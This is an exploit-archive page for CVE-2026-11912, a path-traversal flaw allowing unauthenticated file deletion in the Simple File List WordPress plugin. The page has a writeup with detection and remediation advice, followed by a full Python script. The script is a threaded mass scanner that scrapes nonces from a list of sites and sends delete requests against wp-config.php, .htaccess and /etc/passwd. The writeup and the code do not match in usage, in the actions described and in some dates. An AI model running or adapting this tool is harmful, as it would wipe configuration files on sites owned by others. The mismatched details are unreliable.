PoC Archive PoC Archive
High CVE-2026-11912 patched

Simple File List Plugin Unauthenticated File Modification / Path Traversal — CVE-2026-11912

by Polosss (PoC/lab writeup); vulnerability discovered by Chloe Chamberland (Wordfence) · 2026-07-05

CVSS 7.5/10
Severity
High
CVE
CVE-2026-11912
Category
web
Affected product
Simple File List WordPress plugin
Affected versions
<= 6.3.7 (patched in 6.3.8)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / ResearcherPolosss (PoC/lab writeup); vulnerability discovered by Chloe Chamberland (Wordfence)
CVE / AdvisoryCVE-2026-11912
Categoryweb
SeverityHigh
CVSS Score7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
StatusPoC
Tagswordpress, plugin, path-traversal, missing-authorization, unauthenticated, file-deletion, ajax, nonce
RelatedN/A

Affected Target

FieldValue
Software / SystemSimple File List WordPress plugin
Versions Affected<= 6.3.7 (patched in 6.3.8)
Language / PlatformPython 3 (requests-based HTTP PoC) targeting WordPress admin-ajax.php
Authentication RequiredNo
Network Access RequiredYes

Summary

The Simple File List plugin registers its simplefilelist_edit_job AJAX action on both the wp_ajax_ and wp_ajax_nopriv_ hooks, meaning it is reachable by unauthenticated visitors. The authorization check inside eeSFL_FileEditor() relies on is_admin(), which always returns FALSE for AJAX requests, so the intended AllowFrontManage restriction is short-circuited before it can deny the request. Compounding this, the security nonce (eeSFL_ActionNonce) required by the endpoint is embedded directly in the front-end page source, so an unauthenticated attacker can simply scrape it. Because the eeFileName parameter is not validated against path traversal, an attacker can supply values like ../../wp-config.php to delete or rename arbitrary files outside the intended file-list directory. The PoC demonstrates nonce extraction followed by unauthenticated file delete, rename, and path-traversal-based deletion of wp-config.php, which was shown to completely break the target site.


Vulnerability Details

Root Cause

Missing authorization: the AJAX handler is registered for unauthenticated (nopriv) access, and its authorization check depends on is_admin(), which is always false in an AJAX context — combined with a front-end-exposed nonce and an unsanitized eeFileName parameter that permits path traversal.

Attack Vector

  1. Request the public file-list page and scrape the eeSFL_ActionNonce value embedded in the HTML source.
  2. POST to /wp-admin/admin-ajax.php with action=simplefilelist_edit_job, the scraped nonce, and eeFileAction=Delete/Edit to delete or rename a file within the plugin’s managed directory.
  3. Supply a path-traversal value in eeFileName (e.g. ../../wp-config.php) to escape the intended directory and target arbitrary files on the server.
  4. Observe the deletion/modification of the targeted file (e.g. wp-config.php), which breaks the WordPress installation.

Impact

Unauthenticated attackers can delete or rename arbitrary files on the server, including critical files like wp-config.php, resulting in complete site compromise/denial of service and potential further exploitation depending on which files are targeted.


Environment / Lab Setup

Target:   WordPress + Simple File List <= 6.3.7 (tested against a DDEV lab: poloss-lab.ddev.site, PHP 8.4)
Attacker: Python 3, requests, urllib3 — network access to the target WordPress site

Proof of Concept

PoC Script

See CVE-2026-11912.py in this folder.

1
python3 CVE-2026-11912.py -u https://target-site.example

The script extracts the eeSFL_ActionNonce from the public file-list page, then issues unauthenticated admin-ajax.php requests against the simplefilelist_edit_job action to delete/rename files and demonstrate path traversal (e.g. targeting ../../wp-config.php) to confirm arbitrary file modification outside the plugin’s managed directory.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected deletion or renaming of files managed by Simple File List
  • Missing or corrupted wp-config.php / site suddenly showing a database-connection or fatal error
  • admin-ajax.php access log entries with action=simplefilelist_edit_job from anonymous/unauthenticated sessions

Remediation

ActionDetail
Primary fixUpdate Simple File List to version 6.3.8 or later
Interim mitigationDisable the plugin or remove pages containing the [eeSFL] shortcode until patched; add WAF rules blocking action=simplefilelist_edit_job requests to admin-ajax.php

References


Notes

Mirrored from https://github.com/Polosss/By-Poloss..-..CVE-2026-11912 on 2026-07-05.

CVE-2026-11912.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
#!/usr/bin/env python3

import requests
import re
import sys
import json
import threading
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urljoin
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Colors
RED = '\033[0;31m'
GREEN = '\033[0;32m'
YELLOW = '\033[1;33m'
BLUE = '\033[0;34m'
PURPLE = '\033[0;35m'
CYAN = '\033[0;36m'
NC = '\033[0m'

class SimpleFileListScanner:
    def __init__(self, target_file, threads=10):
        self.target_file = target_file
        self.threads = threads
        self.vulnerable = []
        self.not_vulnerable = []
        self.errors = []
        self.lock = threading.Lock()
        self.timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
        self.results_dir = f"scan_results_{self.timestamp}"
        
        import os
        os.makedirs(self.results_dir, exist_ok=True)
        
        self.session = requests.Session()
        self.session.verify = False
        self.session.timeout = 15
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
    
    def get_nonce(self, target):
        """Get security nonce from target"""
        methods = [
            self._get_nonce_from_file_list,
            self._get_nonce_from_ajax,
            self._get_nonce_from_page_source,
            self._get_nonce_from_js
        ]
        
        for method in methods:
            nonce = method(target)
            if nonce and len(nonce) >= 8:
                return nonce
        return None
    
    def _get_nonce_from_file_list(self, target):
        """Get nonce from /file-list/"""
        try:
            url = urljoin(target, '/file-list/')
            resp = self.session.get(url, timeout=10)
            match = re.search(r'eeSFL_ActionNonce">([^<]+)', resp.text)
            if match:
                return match.group(1)
        except:
            pass
        return None
    
    def _get_nonce_from_ajax(self, target):
        """Get nonce from admin-ajax"""
        try:
            url = urljoin(target, '/wp-admin/admin-ajax.php')
            params = {
                'action': 'simplefilelist_edit_job',
                'eeSFL_ID': 1
            }
            resp = self.session.get(url, params=params, timeout=10)
            match = re.search(r'"eeSFL_ActionNonce":"([^"]+)"', resp.text)
            if match:
                return match.group(1)
        except:
            pass
        return None
    
    def _get_nonce_from_page_source(self, target):
        """Get nonce from page source"""
        try:
            resp = self.session.get(target, timeout=10)
            match = re.search(r'eeSFL_ActionNonce[^"]*"([^"]+)"', resp.text)
            if match:
                return match.group(1)
        except:
            pass
        return None
    
    def _get_nonce_from_js(self, target):
        """Get nonce from JavaScript files"""
        try:
            resp = self.session.get(target, timeout=10)
            js_files = re.findall(r'src="([^"]*\.js)"', resp.text)
            
            for js_file in js_files[:3]:
                if not js_file.startswith('http'):
                    js_file = urljoin(target, js_file)
                try:
                    js_resp = self.session.get(js_file, timeout=5)
                    match = re.search(r'eeSFL_ActionNonce[^"]*"([^"]+)"', js_resp.text)
                    if match:
                        return match.group(1)
                except:
                    continue
        except:
            pass
        return None
    
    def test_vulnerability(self, target, nonce):
        """Test vulnerability with ID brute force (1-25)"""
        test_files = [
            ('../../../wp-config.php', ['SUCCESS', 'DB_NAME', 'DB_USER', 'DB_PASSWORD', 'AUTH_KEY']),
            ('../../../.htaccess', ['SUCCESS', 'RewriteEngine', 'Options', 'Order']),
            ('../../../../etc/passwd', ['root:', 'nobody:', 'daemon:'])
        ]
        
        for id_num in range(1, 26):
            for filename, indicators in test_files:
                try:
                    url = urljoin(target, '/wp-admin/admin-ajax.php')
                    data = {
                        'action': 'simplefilelist_edit_job',
                        'eeSecurity': nonce,
                        'eeSFL_ID': str(id_num),
                        'eeFileAction': 'Delete',
                        'eeFileName': filename
                    }
                    
                    resp = self.session.post(url, data=data, timeout=10)
                    
                    # Check for indicators
                    for indicator in indicators:
                        if indicator in resp.text:
                            return True, id_num, filename, indicator
                            
                except Exception as e:
                    continue
        
        return False, None, None, None
    
    def scan_target(self, target, index):
        """Scan single target"""
        target = target.strip().rstrip('/')
        
        with self.lock:
            print(f"[{index}] Scanning: {target}")
        
        # Get nonce
        nonce = self.get_nonce(target)
        if not nonce:
            with self.lock:
                print(f"    {RED}[!] Failed to get nonce{NC}")
                self.errors.append({'target': target, 'reason': 'No nonce found'})
            return
        
        with self.lock:
            print(f"    {GREEN}[+] Nonce: {nonce}{NC}")
            print(f"    {CYAN}[*] Brute forcing eeSFL_ID 1-25...{NC}")
        
        # Test vulnerability
        is_vulnerable, id_num, filename, indicator = self.test_vulnerability(target, nonce)
        
        if is_vulnerable:
            with self.lock:
                print(f"    {RED}[!] VULNERABLE!{NC}")
                print(f"    {RED}[!] ID: {id_num} | File: {filename} | Indicator: {indicator}{NC}")
                self.vulnerable.append({
                    'target': target,
                    'nonce': nonce,
                    'id': id_num,
                    'file': filename,
                    'indicator': indicator
                })
        else:
            with self.lock:
                print(f"    {GREEN}[+] Not vulnerable (no working ID found){NC}")
                self.not_vulnerable.append(target)
    
    def save_results(self):
        """Save scan results"""
        # Save vulnerable
        with open(f"{self.results_dir}/vulnerable.txt", 'w') as f:
            for item in self.vulnerable:
                f.write(f"{item['target']} | Nonce: {item['nonce']} | ID: {item['id']} | File: {item['file']} | {item['indicator']}\n")
        
        # Save not vulnerable
        with open(f"{self.results_dir}/not_vulnerable.txt", 'w') as f:
            for target in self.not_vulnerable:
                f.write(f"{target}\n")
        
        # Save errors
        with open(f"{self.results_dir}/errors.txt", 'w') as f:
            for item in self.errors:
                f.write(f"{item['target']} | {item['reason']}\n")
        
        # Save JSON summary
        summary = {
            'timestamp': self.timestamp,
            'total': len(self.vulnerable) + len(self.not_vulnerable) + len(self.errors),
            'vulnerable': len(self.vulnerable),
            'not_vulnerable': len(self.not_vulnerable),
            'errors': len(self.errors),
            'vulnerable_targets': self.vulnerable
        }
        with open(f"{self.results_dir}/summary.json", 'w') as f:
            json.dump(summary, f, indent=2)
    
    def run(self):
        """Run the scanner"""
        print(f"{BLUE}[*] Starting mass scan with {self.threads} threads...{NC}")
        print(f"{BLUE}[*] Created By Poloss{NC}\n")
        
        # Read targets
        try:
            with open(self.target_file, 'r') as f:
                targets = [line.strip() for line in f if line.strip() and not line.startswith('#')]
        except FileNotFoundError:
            print(f"{RED}[!] File not found: {self.target_file}{NC}")
            sys.exit(1)
        
        print(f"{BLUE}[*] Loaded {len(targets)} targets{NC}\n")
        
        # Scan with threading
        with ThreadPoolExecutor(max_workers=self.threads) as executor:
            futures = {}
            for idx, target in enumerate(targets, 1):
                future = executor.submit(self.scan_target, target, idx)
                futures[future] = target
            
            for future in as_completed(futures):
                pass
        
        # Save results
        self.save_results()
        
        # Print summary
        print(f"\n{PURPLE}═══════════════════════════════════════════════════════════════{NC}")
        print(f"{PURPLE}[*] SCAN COMPLETED!{NC}")
        print(f"{PURPLE}[*] Total targets scanned: {len(targets)}{NC}")
        print(f"{RED}[!] Vulnerable found: {len(self.vulnerable)}{NC}")
        print(f"{GREEN}[+] Not vulnerable: {len(self.not_vulnerable)}{NC}")
        print(f"{YELLOW}[*] Failed/Errors: {len(self.errors)}{NC}")
        print(f"{PURPLE}[*] Results saved in: {self.results_dir}{NC}")
        print(f"{PURPLE}═══════════════════════════════════════════════════════════════{NC}")
        
        # Show vulnerable targets
        if self.vulnerable:
            print(f"\n{RED}[!] VULNERABLE TARGETS:{NC}")
            print(f"{RED}═══════════════════════════════════════════════════════════════{NC}")
            for item in self.vulnerable:
                print(f"  {item['target']} | ID: {item['id']} | File: {item['file']}")
            print(f"{RED}═══════════════════════════════════════════════════════════════{NC}")

def main():
    if len(sys.argv) < 2:
        print(f"{RED}[!] Usage: python3 mass_scan.py targets.txt [threads]{NC}")
        print(f"{YELLOW}[*] Example: python3 mass_scan.py targets.txt 20{NC}")
        sys.exit(1)
    
    target_file = sys.argv[1]
    threads = int(sys.argv[2]) if len(sys.argv) > 2 else 10
    
    scanner = SimpleFileListScanner(target_file, threads)
    scanner.run()

if __name__ == "__main__":
    main()